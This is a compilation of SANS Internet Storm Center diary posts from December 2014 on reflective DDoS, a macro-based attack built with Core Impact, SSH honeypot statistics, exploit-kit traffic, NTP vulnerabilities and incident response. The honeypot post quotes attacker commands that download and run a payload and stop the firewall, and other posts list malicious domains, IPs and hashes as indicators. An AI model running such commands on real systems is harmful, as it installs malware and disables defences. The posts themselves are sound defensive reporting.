Among the events of the past few days during the holidays was a DDoS attack on Sony's Playstation network and on Xbox Live's network.  The attack was reportedly carried out by a group called Lizard Squad and by all measures is not precisely the profile of a highly sophisticated attack.  Such attacks have increased in both intensity and frequency in the past year but, to an extent, are not terribly new.

The question is, why are these low-skill attacks still happening and what can be done to stop them.  This week I hope to put up a series of posts on some things every organization can do, this one is the first.

Many of these attacks rely on spoofing source IPs to an open UDP service (i.e. NTP, DNS, etc) that respond with traffic much larger to the spoofed target.  Since some protocols can respond with hundreds of times larger of a response than the request, it makes it easy for someone with a gigabit connection to the internet to direct large DDoS's at a victim assume they know enough open services.

The first step to deal with this problem is for organizations to stop running open UDP services without a really really good reason (which you don't have).  Usually, this involves very minor configuration changes.  If you do need to run open services to the internet (you don't) than to use rate-limiting to prevent the service from being abused.
Does your network run any open UDP services?  There are 4 websites that will help you find such services on your network.

openresolverproject.org
openntpproject.org
openssdpproject.org
opensnmpproject.org

These are the four biggest offenders in reflective DDoS attacks and eliminating them would go a long way to taking a bite out of the DDoS threat.  In all cases, there are good reasons to disable the services even if you are not a victim.  First, could be the potential of civil liability from a victim. Second, is the possibility of information leakage (i.e. SNMP).
Be sure to check your organization's IP space and for fun, check your home networks as well and/or your favorite WiFi hotspot.

If we all take some time to clean up our small corners of the net, we can start tamping down on DDoS and get back to our XBox.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Consulting

Gadi Evron and Tillmann Werner presented an interesting case at 31C3 Conference in Hamburg yesterday, that shows how commercial software can be used to launch APT style attacks. In this case, several similar attacks where discovered against targets in Israel and Western Europe. In all cases, the attack started with a simple Excel spreadsheet which was sent as an attachment [1]. The email itself was brief and unremarkable, but used fake and plausible "From" headers.

Gadi was nice enough to share with us some screenshots of these attachments. They are all very plausible for the targeted recipients. Click on the thumbnail to see the full size image (these are images, not the original Excel files)

Screenshots of Excel E-Mail Attachments

Each Excel file included a macro. While the use of Excel Macros and the simple e-mail message initially looked like an old and simple exploit, the backdoor caught the attention of Gadi and Tillmann who assisted with the reverse analysis. It turned out more sophisticated and stealthy then what was found in standard crimeware. 

The Excel macro consisted of two files. One was an encoded PE binary, the second a simple VBA script to decode the PE binary, write it to disk and run it. This binary is where things got more interested. It implemented a very capable backdoor, essentially proxying system calls, allow for very flexible access to the system not limiting the attacker to a set of pre-defined commands. 

In the end, it turned out that the entire attack was performed using Core Impact, a pricey, but highly sophisticated product allowing for "point and click" attacks of a level that are typically used for APT attacks [2]. In particular when attributing attacks like this to Nation States, or suggesting that the attacker has to be highly sophisticated and able to write custom exploits, one has to consider the possibility that the attacker just re-purposed commercial pentesting software like Core Impact, or even open source tools that offer similar features. The budget for such an attack typically is well below $100k to purchase the required software, a number that is well within reach of even minor nations or organized crime groups. In some cases, it may be possible to find pirated copies fo the required software. Another advantage of using commercial software is the ability to ask for support or professional services to help you with your APT attack. 

Oddly, the backdoor was not recognized by anti-virus tools, even though Core Impact is a commonly used product. Core impact also fails to "tag" any of the software with a customer specific serial number, hindering attribution in cases like the one above. Such a serial number would not prevent an authorized pen test, but would help attribute unauthorized attacks.

For more details, I highly recommend that you watch Gadi and Tillmann [1].

[1] http://streaming.media.ccc.de/relive/6575/ (The talk starts around 15 min into the recording)
[2] http://www.coresecurity.com/core-security-client-side-exploits

Indicators of compromise:

IP Addresses

83.170.33.37
83.170.33.60
83.170.33.80
83.170.43.67
84.11.75.220

MD5 Hashes

01c9cebbc39e273ac1f5af8b629a7327
08273c8a873c5925ae1563543af3715c
08e424ac42e6efa361eccefdf3c13b21
0b0e2c4789b895e8ac44b6ada284aec1
177ef7faab3688572403730171ffb9c4
266cfe755a0a66776df9fd8cd2fee1f1
271a5f526a638a9ae712e6a5a64f3106
393bd2fd420eecf2d4ca9d61df75ff0c
395461588e273fab5734db56fa18051b
48573a150562c57742230583456b4c02
4bf2218eb068385ca1bfff8d609c0104
50d3f1708293f40a2c0c1f151c2c426f
5a009a0d0c5ecaac1407fb32ee1c8172
5af0cbc18c6f8ed4fd1a3f68961f5452
916be1b609ed3dc80e5039a1d8102e82
c222199c9a7eb0d162d5e96955739447
d0c3f4c9896d41a7c42737134ffb4c2e
da976a502a3afc4ba63611d47c625738
ee41e7c97f417b07177ea420afe510a1
f68a0a3784a7edfc60ad9333ec209cbf
f8547010eb4238f8fb76f4e8a756e36d
​f89a4d4ae5cca6d69a5256c96111e707

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

The Christmas period is a nice time to play with some honeypots and share some of the info they have been collecting.  Currently I only have two functioning, both of them are located in the US. Each receives 20K or more login attempts per day. I'm using a standard kippo installation, running as a non root user and using authbind to run the honeypot on port 22.  Results are sent to a logging server for collection.   

One of the honeypots has no valid password so it will always fail I'm mainly interested in collecting the various userid and passwords used in the guessing attempts.  The other one does have a valid password and I regularly expand its interaction by providing the correct responses utilising the kippo capabilities.  The password can be changed by modifying the data/userdb.txt file in the kippo subdirectory.  The interaction can be improved by issuing a command and capturing the output and placing the resulting file in txtcmds directory.  For example sftp is often the first command issued. Locate where sftp is running from (usually /usr/bin).  Create the structure under the honeyfs directory, e.g. honeyfs/usr/bin/sftp. Issue the command sftp and capture the output to a file called sftp and place it in the txtcmds directory, follow the same structure so txtcmds/usr/bin/sftp.  Now when the command is entered it will get a response and hopefully you will get additional results.   

So some stats for December: 

• Unique Passwords used: 136,029
• Unique Userids used: 305 
• Unique Atatcking IP Addresses: 343

Locations

Dirtiest subnets

The following are the /24 subnets that are most active with a high number of hosts from the same subnet attacking.  

• 103.41.124.0 - HK, CN  - AS 63854
• AS 4134  - https://isc.sans.edu/asreport.html?as=4134
  • 122.225.109.0 - Huzhou, CN
  • 122.225.97.0  - Huzhou, CN
  • 122.225.103.0 - Huzhou, CN
  • 218.2.0.0 - Nanjing, CN
  • 222.186.34.0  - Nanjing, CN
  • 61.174.50 - Huzhou, CN
  • 61.175.51 - Huzhou, CN

​Based on the above I'm quite comfortable in saying that blocking anything coming from AS4134 would not be a bad idea. 

Passwords

The passwords used in the attempts are quite varied and range from the simple as shown above to much more esoteric and complex passwords such as !!QAZ@@WSX##EDC, !!Er.HAA22a098yIGH@_Z@, %TGBVFR$#EDCXSW@, WORLDEDU20121123. 

Commands Issued

• ls -la /var/run/sftp.pid
• #!/bin/sh PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  • wget http://---snip---/install/8004
  • chmod +x 8004
  • ./8004
• uname
• service iptables stop

 

There has been some increase in scanning over the past month or so.  My previous Honeypot run in August 2014 would max out at 1500 attempts per day. The main surprise to me was the wide range of passwords being used.  A number of them seem to relate directly to specific types of hardware installed such as modem/routers.  Others look like quite robust passwords and may have come from the various password compromises this year.   The main message is that if you are running an SSH server it will get attacked and you'd best have some decent passwords and ideally use certificate authentication to secure the server.  

If you want to run your own, I'm a fan of kippo, it is simple to set up and there are plenty of guides on how to do it.  Make sure you run it on a box that is not a production device and secure it. You do not want to become a staging point for attacks.  

If you want to submit your kippo logs, Dr J in this diary https://isc.sans.edu/diary/New+Feature+Live+SSH+Brute+Force+Logs+and+New+Kippo+Client/18433 provides the perl to do so.  

Enjoy

Mark H - Shearwater

This is a guest diary submitted by Brad Duncan.

For the past year or so, I've noticed a particular group using a gate that redirects to an exploit kit (EK), usually Fiesta.  This gate has evolved over the past year, changing IP addresses, domain names, and URL patterns.  Currently, this gate is using 94.242.216.69 as its IP address.

I infected a VM on 2014-12-24 using the original referer from an example I found after searching for 94.242.216.69 in my organization's web traffic logs.  The image below shows the gate on 94.242.216.69 and Fiesta EK on 205.234.186.111.

Shown above: Wireshark display for the Fiesta EK infection using this gate.

Monitoring the infection traffic with Security Onion shows the appropriate Snort signatures for Fiesta EK:

Shown above: Snort events from Security Onion using the ET open signature set.

Let's examine how the gate points to Fiesta EK.  Earlier this year, the gate used a fairly straightforward iframe.  Here's an example from April 2014:

Shown above:  Gate to Fiesta EK from April 2014.

The current gate has a much longer javascript, and the URL for Fiesta EK is slightly obfuscated.  Here's the example from 2014-12-24:

Search your web traffic logs for 94.242.216.69, and you'll likely find several different domain names using a specific pattern for the gate.  Here's a sample of what I found for 94.242.216.69 from 2014-12-10 through 2014-12-23:

• alpinias.com - GET /?_SPMq=vahK1gfvq3&z1_Aj=fW8sL8ld&nkPgy=81S8Y0_&0Us9=dr_fSq3Jai&w7Eaf=fu5dv5&wDK9=Ydqk1z4o6&52YRK=eHl9jdJ8j&I86__=He0S4m9G&QPy3i=J4HP58S7h&dRPS8=7bi7Y
• astroysch.com - GET /?LDZhT=Kegl8uezbqbx6n&_Nk98=Pa59bTd3&_Jp3B=k9hKcTeG_eS30&mwpoA=k3OmaPs700bK&E03=6800L6Kf&_S_Z2l=z1Hge2_s2R0M0M
• avtrokosmo.com - GET /?eg4yxQ=49eU6k7bIc&PB5=ei8YapbIdQubUz3&qMUy=w8H4iaz2Q1sePdZ&V4Zg=1hcfLh96u07x
• bendjoblac.com - GET /?L_T=XfmqeN3LeQ97Wbwa7G6U&OJgt=M1q6pbX2Xe_I8eK2n7a&Usdm_v=MerQ5S5q6R9taM0IaIyfL3&HSLF=5c
• enotikkiki.com - GET /?tBbJ=286uU9r&tikG=zaoY7Q_0KT8&F0BREM=_4S3n0w9&a2NE=9_d2Kz6&ptmh=f87qma&aOc=2UQ5L1U1g&WEfu6e=kcn_61M1s&rqR=R2s_9S9dG&Mvn=7b
• kattyjerem.com - GET /?jtDO_=6pcoex6X_9I1TK9qJckr1Go9t3UL0sdQ_5L&CsM=W3WO4NcvQ4M2tifG8ll9GXdxcgG0Q8Iz8Zn7M
• hillarysday.com - GET /?m9SO_=y2Nbh6pd_0j9Mw8&4xF=6h1WubuKajeV4Ke&bW6dQc=w6UcT2aK1f2T&mj7=b_0u9j7Za_aV0&vUhf=ma
• magggnitia.com - GET /?3W_wN=I40_W5_&eht=t8vP8M8L&2ad_uO=33KPa&_s3oi=8P5_7&QLfo=cHai8w&ZM7P_K=bSG7TH3p&UKb38=1s4wx2s&jSJyB=cM7c
• magicalcepp.com - GET /?sk9=7ufJ8Ky7H8nS34n7f1h8t887R49&eDf=1foPbZaw1VcxcHlfJdVw83P69hP1uSdYbR
• magnitigus.com - GET /?V7k2sF=sbLLbi2fp9p073kddzfGanaT5K1cGqd&UQG=tc8Z8G0kav2v7QY5gf3I2Z8y5_V0v3dJ0P
• margartata.com - GET /?Cid=nak4G9z&UkE3K=3i6iq9&dUjM6_=Xe0se&J_X_g=R4taa&Jr4YHO=q9HQ34P&x1_=3gaZ4H&DVhN=v4v32&6t_=bu_1OX3O&kFP=7y_5rv7
• martinegris.com - GET /?m_FxE=eh0&MkFq=H8GeS&fz7=1l3&d2T6r=ae&LeH_9=k0Il2W&Z7i6=3S1&7h_=Sdlc&zmGAU=i0uf&mMwf=ehp5p&ymV7T=y7lKe&Jpk_DF=_5_2
• muertiose.com - GET /?_I4XS=idKbueq4kR1q8&0TsZ=Y0Wn7Lbr6K9hch&thXvW=56WPaqG2OdJ0&Ff_lty=x21dbrs8y5
• throneonetwo.com - GET /?rQRqX=aj2us3_9Z4&dBzt=h4uKf3l7eV&SIDj=5rd_7zcN0g&2Btxc=aief3k7&oGC=X6g62bgw9h&NUZHg=_5Q4scVc
• treestois.com - GET /?Zd_E=Zd_0Q9_5SZbUU32Z4m4bOchhflz2g5n1h7_b6Xgct&sIVh=M8gcrO2yw78886tz8Zf6Ycba_cRd0o1Vk1
• velasvegas.com - GET /?e2_Iq=652WNc&zup=V1Z7I2wR9m&5_zQ=k3YT7O4H3_&Dy2bH=t9nsbcbm&Gm2J_=1Kf_Ib0&gq_BF=98m6

All the above domains are registered to same organization:

Registrant name/organization:  Wuxi Yilian LLC

Registrant country:  China

Registrar:  www.bizcn.com

alpinias.com - date registered: 2014-08-29

astroysch.com - date registered: 2014-10-27

avtrokosmo.com - date registered: 2014-12-01

bendjoblac.com - date registered: 2014-11-12

enotikkiki.com - date registered: 2014-10-21

kattyjerem.com - date registered: 2014-11-12

hillarysday.com - date registered: 2014-09-18

magggnitia.com - date registered: 2014-12-01

magicalcepp.com - date registered: 2014-09-18

magnitigus.com - date registered: 2014-12-01

margartata.com - date registered: 2014-12-01

martinegris.com - date registered: 2014-10-21

muertiose.com - date registered: 2014-10-03

throneonetwo.com - date registered: 2014-10-27

treestois.com - date registered: 2014-12-01

velasvegas.com - date registered: 2014-11-12

Each of the domains on 94.242.216.69 is tied to a particular compromised website.  If you have access to the web traffic and the HTTP headers, it's easy to find the compromised website.  Just look for the referer in the HTTP GET request on 94.242.216.69.

The group behind these domains has used at least 4 different IP addresses during the past year.  It will likely change again.  Wuxi Yilian LLC is the registrant for all the domains I've found for this redirect in 2014.

I look forward to seeing what this group does in 2015.

----------

Brad Duncan is a Security Analyst at Rackspace, and he runs a blog on malware traffic analysis at http://www.malware-traffic-analysis.net

All handlers at SANS Internet Storm Center wish you a great christmas and may all your wishes come true. We will keep guarding the internet meanwhile.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

For those of you who are not aware; Sony currently has a job posting for a Manager of Incident Response. Where I come from they refer to that as “closing the barn door after the horse has got out”, They do need to start somewhere and all in all it sounds like a cool job for an experienced Incident Handler. They do mention SANS certifications. Of course they do put SANS certifications on the same level as CISSP and CISM, but it is a step.

My piece of advice for the new IR manager at Sony is to go back and review, and update, their incident response plans since the Sony response to this incident was farcical at best.  Matthew Schwartz at InfoRiskToday has published a post describing “Sony’s 7 Breach Response Mistakes”. If you want to see the details please go over and read his article, but to summarize he says that the 7 mistakes were:

1. Failure to spot the Breach
2. Poor breach response
3. Shooting the messenger
4. Contradicting themselves
5. Ceding control of the conversation
6. Failure to Take Responsibility
7. Hoarding old emails

Those of you who are students of the SANS Incident Response methodology will be aware that the methodology uses the pneumonic of PICERL; Preparation, Identification, Containment, Eradication,  Recovery, and Lessons Learned. Assuming that Sony had an IR plan, and followed it, comparing this methodology to the Sony “mistakes”,  it struck me that most of Sony’s failures resulted from insufficient time spent in Preparation.

Most people think of preparation as making sure you have the proper preventive and detective controls in place to hopefully prevent, and if not, detect a breach.  But preparation needs to include many other aspects including, an incident management framework, a response strategy, and a communication plan.

The incident management framework defines every aspect of your incident response team, from who the participants are to who is in charge to how the team communication will work.  In most companies IR has become a technical IT function.  While having the correct technical resources to respond to an incident is important, having the correct management structure in place to effectively manage the incident is equally important. Don’t forget to include legal and communications functions in the incident response team. They will be indispensable in a public breach. 

The response strategy comprises the processes and procedures that will be used in the case of an incident.  One great way to develop these processes and procedures is to run table top exercises and mock incident exercises with the IR team.  The output of these exercises should be moderately detailed plans to handle these incidents. By anticipating common scenarios in advance of an incident leads to the actual response to an incident being smoother and less stressful when an incident actually occurs.  It is not possible to anticipate every conceivable incident, but think of the processes and procedures as building blocks that can be reused and modified in the case of a real incident.

An important part of any public incident is effective communication with the press and your external stakeholders such as customers and shareholders.  An important part of this is going to be to get your legal and communications people on the same page as your executive.  The time to be figuring out what you will and won’t release publicly is not in the heat of an incident.  In my experience this usually leads to paralysis and ultimately looks like you have something to hide or are trying to mislead. Much the same as your incident strategy, the communication plan is best divised in advance as part of the mock incidents and table top exercises. In my opinion communicating the truth, early and often, is the best approach. The communication function was where Sony fell down the worst, both with internal and external communications.

With this in mind it seems like a good time for all of us to review our IR plans in the light of some of the high profile breaches this year.

-- Rick Wanner - rwanner at isc dot sans dot edu- http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

My wife is a Christmas music junkie.  Starting right after Remembrance Day every moment in our house or car is filled with the sounds of Christmas music, either from her own iTunes collection (currently 623 songs and growing yearly), or streamed from the Internet or satellite radio.  Every year there seems to be one song that becomes that ear worm and sticks with me for the entire Christmas season.  A couple of years ago it was "Oh Holy Night", another it was "I Want a Hippopotamus for Christmas", this year I discovered a new one, at least to me. "My Grown Up Christmas List".  The song was written by Canadian David Foster and his then wife Linda Thompson-Jenner.  It was originally recorded by David Foster with vocals by Natalie Cole in 1990, but probably the most famous version was recorded by Amy Grant in 1992, although it has been covered many times since.  The jist of the song is that we should not be asking Santa Claus for more stuff for Christmas, but that we our Christmas list should ask to solve society and the world's problems. Definitely a good sentiment in these uncertain times.

Today I got thinking...if the ISC were to have a Grown Up Security Christmas list, what would be on it?

Please submit your ideas via the forum comments, or via our contact page.

-- Rick Wanner - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

The growth of malware families using algorithms to generate domains in 2014 has been somewhat substantial.  For instance, P2P Gameover Zeus, Post-Tovar Zeus and Cryptolocker all used DGAs.  The idea is that code generates domains (usually but not always) by taking the data and running it throw some magic math to come up with a list of many domains per day.  This allows the attacker to avoid static lists of domains for callbacks in their code and allow them additional flexibility to make takedowns a little more difficult.  Instead of getting one domain suspects, now you have to get thousands suspended.  And if you think the "good guys" are on to you, you can change your encryption seed and get a new list of domains.

That said, it's also a double edged sword.  If you can get the algorithm, you can proactively block an entire family in one foul swoop.  Take, for instance, hesperbot.  Garage4Hackers has a nice write up on how they reverse engineered the DGA and provide a helpful script at the end.

This particular DGA doesn't generate many domains, but it provides a good example.  From the word go, you can simply dump the list of domains into RPZ or another DNS blocking technology.  That's nice, but what if you wanted to do some threat intelligence ninjitsu instead?

You can take that list of domains, attempt to resolve them and then dump the active IPs and domains into a feed.  Now you have data you can pivot off of, throw into CIF, or make available as OSINT to get mad love from your peers.

Currently I track 11 families this way and process about 200,000 domains every 10 minutes to generate feeds (my New Years goal is to increase that tenfold).  That brings an interesting scalability problem to the fore... how to lookup that many hosts in parallel instead of serial.  For that I use two linux commands: parallel (self-explanatory) and adns-tools.  Adns-tools is a suite that allows for asynchronous DNS lookups across many hostnames.  As long as you have a friendly DNS resolver that doesn't mind your unmitigated complete assault of its sensibilities, you're good to go.

Doing this allows patterns to emerge pretty quickly... usually it is the same IP addresses involved, typically they have a dedicated domain that does authoritative DNS for all the DGA-ized domains, and you can assess what nationality the actors are by what holidays they take from registering domains. :)

All for the price of learning a little bit of python, you can set up a homebrew malware surveillance system.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Consulting

I was asked by a reporter a few days ago what I thought the top cybersecurity story of 2015 will be.  2014 saw some big stories, Target (and the myriad of PoS breaches), Heartbleed/Shellshock/et al, Sony...

Will it be the year people finally get serious about cybersecurity or will the status quo prevail?  Leave your thoughts in the comment section below and will follow up next week.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Consulting

Jordan and others have written in about North Korea being offline.  Arbor has a great post with some analysis (http://www.arbornetworks.com/asert/2014/12/north-korea-goes-offline/). According to the article, the netblock that is being targted is 175.45.176.0 – 175.45.179.255.  For more detail follow the link above. 

--

Tom Webb

I recently attended an information security meetup and one of the main topics was building up security resources on a state/local government budget. This is not an easy task, but is something many people are facing.

When recruiting on a budget, it seems best to determine what makes a good security analyst. You are likely not going to be able to hire anyone with serious infosec training, so you need to look for raw talent. Much has been written about this, but here are the major qualities I look for.

1. Strong experience in two or more of the following:

   1. Coding/Scripting

   2. Network Management

   3. Server Administration (Windows and Linux)

   4. Management of Core Services (DNS,Mail, DBA, ect..)

2. Hungry to learn anything and independent learner

3. Task oriented

4. Wants a deeper understanding how attacks/defense work

Once you have picked a successful candidate, you'll need to setup a successful path for them. SANS has a a great layout for classes for what career path they should take (hxxp://www.sans.org/media/security-training/roadmap.pdf).

For full time handlers, in a large complex environment, it seems to take 18 to 24 months to get comfortable with most incidents. In smaller more controlled environments, this may be a lot shorter.

Please post in the comments about your experiences building talent and how long to get them self sufficient.

--

Tom Webb

We have received a report the National Finance Center site www.nfc.usda.gov is currently returning a 500: Server Error (thanks Melissa) and the U.S. Department of Agriculture www.usda.gov is returning an IBM HTTP WebSphere software page. We are currently investigating to get additional information.

Update 1: www.usda.gov is now back up at 02:30 GMT

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

(Also see our earlier diary about this vulnerability)

While people generally know where their "real" NTP servers are, all to often they don't know that they've got a raft of "accidental" NTP servers - boxes that have NTP enabled without the system maintainers knowing about it.  Common servers on the network like routers or switches (often when these are NTP clients, they are also NTP servers), PBX's and VOIP gateways, mail servers, certificate authorities and so on.

In these days of auto-updates, you would think that most NTP servers would be patched against the vulnerabilities found by the Google team and described in story written up by Johannes earlier this evening.

However, it only took until the second host checked to find a very out of date server.  Unfortunately, it's the main NTP server of a large Canadian ISP (Oops).  What I also found along the way was that many servers only report "4" as a version, and that from the -sV switch, not from ntp-info.  So depending on your internal servers and how they are configured, it may be time for us to start using authenticated scans using tools like Nessus to get service versions for our NTP servers.  Hopefully that's the practice for other services already.

Note that the IP addresses in these scans are obfuscated

C:\> nmap -sU -pU:123 -sV ntp.someisp.ca --script=ntp-info.nse

Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-19 21:44 Eastern Standard Time

Nmap scan report for ntp.someisp.ca (x.x.x.x)
Host is up (0.0045s latency).
rDNS record for x.x.x.x: khronos.tor.someisp.ca
PORT    STATE SERVICE VERSION
123/udp open  ntp     NTP v4
| ntp-info:
|   receive time stamp: 2014-12-20T02:47:52
|   version: ntpd 4.1.1c-rc1@1.836 Thu Feb 13 12:17:19 EST 2003 (1)
|   processor: i686
|   system: Linux2.4.20-8smp
|   leap: 0
|   stratum: 3
|   precision: -17
|   rootdelay: 11.079
|   rootdispersion: 33.570
|   peer: 32471
|   refid: x.x.x.x
|   reftime: 0xd83f5fad.b46b9c30
|   poll: 10
|   clock: 0xd83f61d5.3a71ef30
|   state: 4
|   offset: -0.329
|   frequency: 46.365
|   jitter: 3.468
|_  stability: 0.004

Service detection performed. Please report any incorrect results at http://nmap.
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.08 seconds

This server on the other hand, doesn't report the version in the ntp-info output.  "-sV" reports version 4, but that's all we get.

C:\ >nmap -sU -pU:123 -sV time.someotherserver.com --script=ntp-info.nse

Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-19 22:17 Eastern Standard Time

Nmap scan report for time.someotherserver.com (y.y.y.y)
Host is up (0.010s latency).
PORT    STATE SERVICE VERSION
123/udp open  ntp     NTP v4
| ntp-info:
|_  receive time stamp: 2014-12-20T03:19:39

Service detection performed. Please report any incorrect results at http://nmap.
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.24 seconds

But really, after this year of vulnerabilties that we've seen in basic system services, it's about time that folks took the "SANS Top 20" to heart - the SANS Critical Controls that you really should be looking at if it's your goal to secure your network - https://www.sans.org/critical-security-controls .  The top 5 in the list sum up your first line of defense against stuff like this.  Know what's on your network, know what's running on that, have a formal program of patches and updates, and scan regularly for new hosts, new services and new vulnerabilities.  If it's your thought that a single scan for this one vulnerability is the most important thing on your plate (or scanning for heartbleed or shellshock was earlier this year), then you have already lost - it's time to review the SANS Critical Controls and revamp your IT and Security Operations.

Quick Addendum/Update (Johannes):

CentOS and other Linux distros did release updates. However, the version string may not change. Check the "Build Date". For example, on CentOS 6:
Before patch: ntpd 4.2.6p5@1.2349-o Sat Nov 23 18:21:48 UTC 2013 (1)
After patch: ntpd 4.2.6p5@1.2349-o Sat Dec 20 02:53:39 UTC 2014 (1)

===============
Rob VandenBrink
Metafore

The Google security team discovered several vulnerabilities in current NTP implementations, one of which can lead to arbitrary code execution [1][2]. NTP servers prior to version 4.2.8 are affected. 

There are some rumors about active exploitation of at least some of the vulnerabilities Google discovered.

Make sure to patch all publicly reachable NTP implementations as fast as possible. 

Mitigating Circumstances: 

Try to block inbound connections to ntp servers who do not have to be publicly reachable. However, be aware that simple statefull firewalls may not track UDP connections correctly and will allow access to internal NTP servers from any external IP if the NTP server recently established an outbound connection.

ntpd typically does not have to run as root. Most Unix/Linux versions will configure NTP using a lower privileged users.

According to the advisory at ntp.org, you can also:

Disable Autokey Authentication by removing, or commenting out, all configuration directives beginning with the crypto keyword in your ntp.conf file.

A few Ubuntu and CentOS systems I tested, as well as OS X systems, do not seem to use autokey. 

[1] http://www.kb.cert.org/vuls/id/852879
[2] http://support.ntp.org/bin/view/Main/SecurityNotice

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

It's been a while since we talked about Disaster Recovery issues - the last diary I posted on this was on using L2TPv3 to bridge your Datacenter / Server VLAN to the "same" VLAN at a DR site, over an arbitrary Layer 3 network (https://isc.sans.edu/diary/8704)

Since then, things have changed.  There's a real push to move DR sites from a rack in a remote office location to recognized IaaS cloud locations. With that change comes new issues.  If you are using your own servers in a colocation facility, or using IaaS VM instances, rack space for a physical router may either come with a price tag, or if it's all virtual, there might be no rack space at all.  

In my situation, I had two clients in this position.  The first customer simply wanted to move their DR site from a branch office to a colocation facility.  The second customer is a Backup-as-a-Service Cloud Service Provider, who is creating a "DR as a service" product.  In the first situation, there was no rack space to be had.  In the second situation, the last thing a CSP wants is to have to give up physical rack space for every customer, and then deploy CSP owned hardware to the client site - that simply does not scale.  In both cases, a VM running a router instance was clearly the preferred (or only) choice.

Virtual routers with enterprise features have been around for a while - back in the day we might have looked at quagga or zebra, but those have been folded into more mature products these days.  In our case, we were looking at Vyatta (now owned by Brocade), or the open-source (free as in beer) fork of Vyatta - Vyos (vyos.net).  Cisco is also in the game, their 1000V product supports IOS XE - their "bridge L2 over L3" approach uses OTV rather than L2TPv3 or GRE.  You'll find that most router vendors now have a virtual product.

Anyway, Working with Vyatta/Vyos configs isn't like Cisco at all - their configs look a whole lot more like you might see in JunOS.  While Vyos supports the L2TPv3 protocol we know and love, it's a brand new feature, and it comes with a note from the developer "if you find any bugs, send me an email" (confidence inspiring, that).  Vyatta doesn't yet have that feature implemented.  So I decided to use GRE tunnels, and bridge them to an ethernet interface.  Since this tunnel was going to run over the public internet, I encrypted/encapsulated the whole thing using a standard site-to-site IPSEC tunnel.  The final solution looks like this:

The relevant configs look like the one below (just one end is shown)  Note that this is not the entire config, and all IP's have been elided.

Please - use our comment form and let us know if you've used a different method of  bridging Layer 2 over Layer 3, and what pitfalls you might have had to overcome along the way!

===============
Rob VandenBrink
Metafore

With two stories on the topic of bridging datacenters, you'd think I was a real believer.  And, yes, I guess I am, with a couple of important caveats.

The first is encapsulation overhead.  As soon as you bridge using encapsulation, the maximum allowed transported packet size will shrink, then shrink again when you encrypt.  If your Server OS's aren't smart about this, they'll assume that since it's all in the same broadcast domain, a full packet is of course OK (1500 bytes in most cases, or up to 9K if you have jumbo frames enabled).  You'll need to test for this - both for replication and the failed-over configuration - as part of your design and test phase.

The second issue si that if you bridge datacenters to a DR or second (active) datacenter site, you are well positioned to fail over the entire server farm, as long as you can fail over your WAN connection and Internet uplink with them.  If you don't, you end up with what Greg Ferro calls a "network traffic trombone".  (http://etherealmind.com/vmware-vfabric-data-centre-network-design/)

If you fail one server over, or if you fail over the farm and leave the WAN links behind, you find that the data to and from the server will traverse that inter-site link multiple times for any one customer transaction.

For instance, let's say that you've moved the active instance of your mail server to the DR Site.  To check an email, a packet will arrive at the primary site, traverse to the mail server at site B, then go back to site A to find the WAN link to return to the client.  Similarly, inbound email will come in on the internet link, but then have to traverse that inter-site link to find the active mail server.  

Multiply that by the typical email volume in a mid-sized company, and you can see why this trombone issue can add up quickly.  Even with a 100mb link, folks that were used to GB performance will now see their bandwidth cut to 50mb or likely less than that, with a comensurate impact on response times.  If you draw this out, you do get a nice representation of a trombone - hence the name.

What this means is that you can't design your DR site for replication and stop there.  You really need to design it for use during the emergency cases you are planning for.  Consider the bandwidth impacts when you fail over a small portion of your server farm, and also what happens when your main site has been taken out (short or longer term) by a fire or electrical event - will your user community be happy with the results?

Let us know in our comment section how you have designed around this "trombone" issue, or if (as I've seen at some sites), management has decided to NOT spend the money to account for this.

===============
Rob VandenBrink
Metafore

This is a guest diary submitted by Brad Duncan.

Nuclear exploit kit (also known as Nuclear Pack) has been around for years.  Version 2.0 of Nuclear Pack was reported in 2012 [1] [2].  Blogs like malware.dontneedcoffee.com have mentioned version 3.0 of Nuclear Pack in posts during 2013 [3] [4].

This month, Nuclear Pack changed its traffic patterns.  The changes are significant enough that I wonder if Nuclear Pack is at version 4.  Or is this merely an evolution of version 3, as we've seen throughout 2014?  Let's look at the traffic.

In January 2014, traffic from Nuclear Pack was similar to what I'd seen in 2013.  Here's an example from January 24th using Java to infect a VM [5]:

2014 saw Fiesta exploit kit-style URLs from Nuclear Pack.  Also, like other exploit kits, Nuclear sent Flash and Silverlight exploits.  Here's an example from September 29th [6]:

The above example has Silverlight, Flash, PDF and IE exploits.  In each case, a payload was sent to the vulnerable VM.  The traffic consists of two TCP streams.  The images below show the separate streams and their HTTP GET requests:

These patterns are not far off from the beginning of the year.  I only saw additional exploits from Nuclear Pack that I hadn't noticed before.

In December 2014, Nuclear Pack moved to a different URL structure.  I first noticed this on a pcap from Threatglass.com [7].  Initially, I'd mistaken the traffic for Angler exploit kit.  After reviewing the pcap in Security Onion, I realized this was Nuclear Pack.

Here's another Nuclear Pack example from 2014-12-12 [8]:

Since the change in URL patterns, Nuclear Pack is XOR-ing the malware payload.  The image below shows an example where one of payloads is XOR-ed with the ASCII string: DvnQkxI

The change in traffic patterns is fairly significant for Nuclear Pack.  I haven't found any reason on why the change occurred.  Is this merely an evolution, or do these changes indicate a new version of Nuclear Pack?

----------

Brad Duncan is a Security Analyst at Rackspace, and he runs a blog on malware traffic analysis at http://www.malware-traffic-analysis.net

References:

[1] http://blog.spiderlabs.com/2012/04/a-new-neighbor-in-town-the-nuclear-pack-v20-exploit-kit.html

[2] http://www.webroot.com/blog/2012/10/31/nuclear-exploit-pack-goes-2-0/

[3] http://malware.dontneedcoffee.com/2013/08/cve-2013-2465-integrating-exploit-kits.html

